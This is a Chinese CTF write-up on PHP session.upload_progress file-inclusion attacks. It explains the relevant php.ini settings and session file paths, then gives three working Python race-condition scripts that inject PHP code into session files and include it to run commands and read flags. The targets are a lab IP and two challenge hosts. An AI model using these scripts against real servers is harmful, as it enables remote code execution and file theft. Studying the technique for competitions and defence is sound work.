信安技能赛国赛初赛又遇到了这个考点了,总结一下
session默认的文件名 sess_PHPSESSID
session保存路径
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
window下session默认保存在/tmp下
linux下默认
与 SESSION 有关的几个 PHP 选项
session.auto_start
:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session ,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭 的。
session.upload_progress.cleanup = on
:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启
session.use_strict_mode => 0 => 0
session.use_strict_mode
:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。
Session Upload Progress Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled
选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度 。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION
中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION
中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
参考链接:https://www.php.net/manual/zh/session.upload-progress.php
利用 Session Upload Progress 上传 Session
原理:利用了当session.upload_progress.enabled开启时如果我们上传了一个和session.upload_progress.name同名的变量,也就是名字为PHP_SESSION_UPLOAD_PROGRESS的时候,且为 POST 请求的时候,他就会在$_SESSION中添加一组键值对。键名就是session.upload_progress.name。然后键值就是我们POST中上传的键值
首先需要确认session.upload_progress.enabled是为On的
一般session.upload_progress.enabled默认开启
本地起一个,然后写个上传页面
1 2 3 4 5 6 7 8 9 10 <!doctype html> <html> <body> <form action="22.php" method="POST" enctype="multipart/form-data" > <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form> </body> </html>
上传后抓包在自己手动加个cookie里面放个PHPSESSID就可以看到会在seesion存放的位置多一个session,如果配合文件包含我们就可以实现写入shell
看到上面的配置文件可以看到session存在位置是/var/lib/php/sessions
而且session.use_strict_mode
的值是0
,因为我们可以自己定义session的名字
getshell 这里就需要配合文件包含来包含我们可控的session来实现getshell,但是这里有个问题
open_basedir是否允许我们包含session所在目录
session.upload_progress.cleanup=>on默认都是
因为session.upload_progress.cleanup功能是文件上传结束后,php将会立即清空对应session文件中的内容
所以当我们可以包含session之后我们在session虽然写入了恶意代码但是session.upload_progress.cleanup
会被立马删除,这里可以使用条件竞争来实现
给出一个index.php
1 2 3 4 <?php highlight_file(__FILE__ ); include ($_GET['file' ]);?>
网上找了一个脚本,稍微改了一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import ioimport sysimport requestsimport threadingsessid = 'ess3nce' def POST (session ): while True : f = io.BytesIO(b'a' * 1024 * 50 ) session.post( 'http://192.168.254.132/index.php' , data={"PHP_SESSION_UPLOAD_PROGRESS" :"<?php system('whoami');?>" }, files={"file" :('q.txt' , f)}, cookies={'PHPSESSID' :sessid} ) def READ (session ): while True : response = session.get(f'http://192.168.254.132/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid} ' ) if len(response.text)==461 : print('[+++]retry' ) else : print(len(response.text)) print(response.text) sys.exit(0 ) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)
可以多次访问看到未被删除时的情况,然后通过包含实现利用
题目 [WMCTF2020]Make PHP Great Again 1 2 3 4 5 6 <?php highlight_file(__FILE__ ); require_once 'flag.php' ;if (isset ($_GET['file' ])) { require_once $_GET['file' ]; }
require_once只能包含一次,这里非预期的方式就是通过写入恶意session来并包含实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import ioimport sysimport requestsimport threadingimport timesessid = 'ess3nce' def POST (session ): while True : f = io.BytesIO(b'a' * 1024 * 50 ) time.sleep(0.2 ) session.post( 'http://184eac4e-653a-4aef-a908-cbe9d27e7a98.node3.buuoj.cn/' , data={"PHP_SESSION_UPLOAD_PROGRESS" :"<?php system('cat /var/www/html/flag.php');?>" }, files={"file" :('q.txt' , f)}, cookies={'PHPSESSID' :sessid} ) def READ (session ): while True : response = session.post(f'http://184eac4e-653a-4aef-a908-cbe9d27e7a98.node3.buuoj.cn/?file=../../../../../../../../tmp/sess_{sessid} ' ) time.sleep(0.15 ) if len(response.text)==730 : print('[+++]retry' ) else : print(len(response.text)) print(response.text) sys.exit(0 ) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)
但是因为buu访问速度过快会被ban,所以写了延时跑出来的时间可能久一点
tips:这里的预期解其实是通过用伪协议配合多级符号链接的办法进行绕过
参考:php源码分析 require_once 绕过不能重复包含文件的限制
ciscn2021_middle_include 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file(__FILE__ ); echo "your flag is in some file in /etc " ; $fielf=$_POST["field" ]; $cf="/tmp/app_auth/cfile/" .$_POST['cf' ]; if (file_exists($cf)){ include $cf; echo $$field; exit ; } else { echo "" ; exit ; } ?>
⽂件扫描
文件泄露
查看phpinfo,得到session_save_path
利用session.upload_progress进行文件包含
脚本爆一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import ioimport sysimport requestsimport threadingsessid = 'Qftm' def POST (session ): while True : f = io.BytesIO(b'a' * 1024 * 50 ) session.post( 'http://124.71.226.90:23531/' , data={"PHP_SESSION_UPLOAD_PROGRESS" :"<?php show_source('/etc/facccbccac/ddebeebdeh/eaccbafebg/dfecfhedeg/ichfijjdgd/fl444444g');?>" }, files={"file" :('q.txt' , f)}, cookies={'PHPSESSID' :sessid} ) def READ (session ): while True : data = { 'cf' :"../../../../../../../../var/lib/php/sessions/eifhacafec/sess_Qftm" } print(data) url = "http://124.71.226.90:23531/" response = session.post(url,data) if len(response.text)==2037 : print('[+++]retry' ) else : print(response.text) sys.exit(0 ) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)